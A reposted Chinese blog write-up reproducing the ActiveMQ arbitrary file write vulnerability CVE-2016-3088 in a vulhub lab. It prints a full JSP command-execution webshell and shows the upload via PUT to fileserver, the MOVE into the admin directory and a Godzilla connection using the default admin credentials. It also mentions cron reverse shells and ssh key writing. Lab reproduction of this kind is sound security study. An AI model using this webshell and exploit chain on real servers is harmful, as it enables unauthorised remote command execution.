0


【vulhub漏洞复现】CVE-2016-3088 ActiveMQ任意文件写入漏洞

一、漏洞详情

影响版本:Apache ActiveMQ 5.x~5.14.0

漏洞原理:ActiveMQ中存储文件的fileserver接口支持写入文件,但是没有执行权限。可以通过MOVE文件至其他可执行目录下,从而实现文件写入并访问。

ActiveMQ在5.12.x~5.13.x版本中,默认关闭了fileserver这个应用(但是可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。

二、复现过程

  1. 搭建docker环境

docker-compose up -d

访问8161端口

默认账户密码admin/admin 登录

  1. 写入webshell文件

文件上传成功需要有以下几点前提:

  • 知道文件上传的绝对路径

  • 网站有文件上传功能

  • 文件类型没有被限制

  • 上传的文件可以被执行

ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取

在网上找了个jsp的木马

  1. <%@ page import="java.io.*" %>
  2. <%
  3. try {
  4. String cmd = request.getParameter("cmd");
  5. Process child = Runtime.getRuntime().exec(cmd);
  6. InputStream in = child.getInputStream();
  7. int c;
  8. while ((c = in.read()) != -1) {
  9. out.print((char)c);
  10. }
  11. in.close();
  12. try {
  13. child.waitFor();
  14. } catch (InterruptedException e) {
  15. e.printStackTrace();
  16. }
  17. } catch (IOException e) {
  18. System.err.println(e);
  19. }
  20. %>

用bp抓包上传,可以看见上传成功

访问http://192.168.239.128:8161/fileserver/1.jsp,文件写入但是没有被执行

  1. MOVE文件至可执行目录下

利用MOVE,将木马文件移动到api或者admin,我这边是移动到了admin目录下

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口

  1. 访问文件

http://192.168.239.128:8161/admin/1.jsp?cmd=ls

http://192.168.239.128:8161/admin/1.jsp?cmd=whoami

  1. (另)利用哥斯拉生成木马并连接

使用哥斯拉生成jsp木马文件,将文件PUT至fileserver接口中,返回204,也上传成功了

MOVE文件

用哥斯拉进行连接

URL=http://192.168.239.128:8161/admin/1.jsp

注意有效载荷和加密器的选择

因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头

Authorization: Basic YWRtaW46YWRtaW4=

测试连接,连接成功

三、总结

MOVE方法还是具有很大危险性的,慎用!

任意文件写入还有其他的思路:

写入webshell(修改jetty.xml只是为写入webshell排除掉admin和api需要登录的前提条件)

写入cron文件(定时反弹shell)

写入ssh key

在此献上大佬的文章,对手上述三种方法针对改漏洞都做出了详细过程的讲解

https://www.freebuf.com/vuls/274088.html

身为小白的我还需要继续深造阿。。。


本文转载自: https://blog.csdn.net/m0_51683653/article/details/129240528
版权归原作者 RexHarrr 所有, 如有侵权,请联系我们删除。

“【vulhub漏洞复现】CVE-2016-3088 ActiveMQ任意文件写入漏洞”的评论:

还没有评论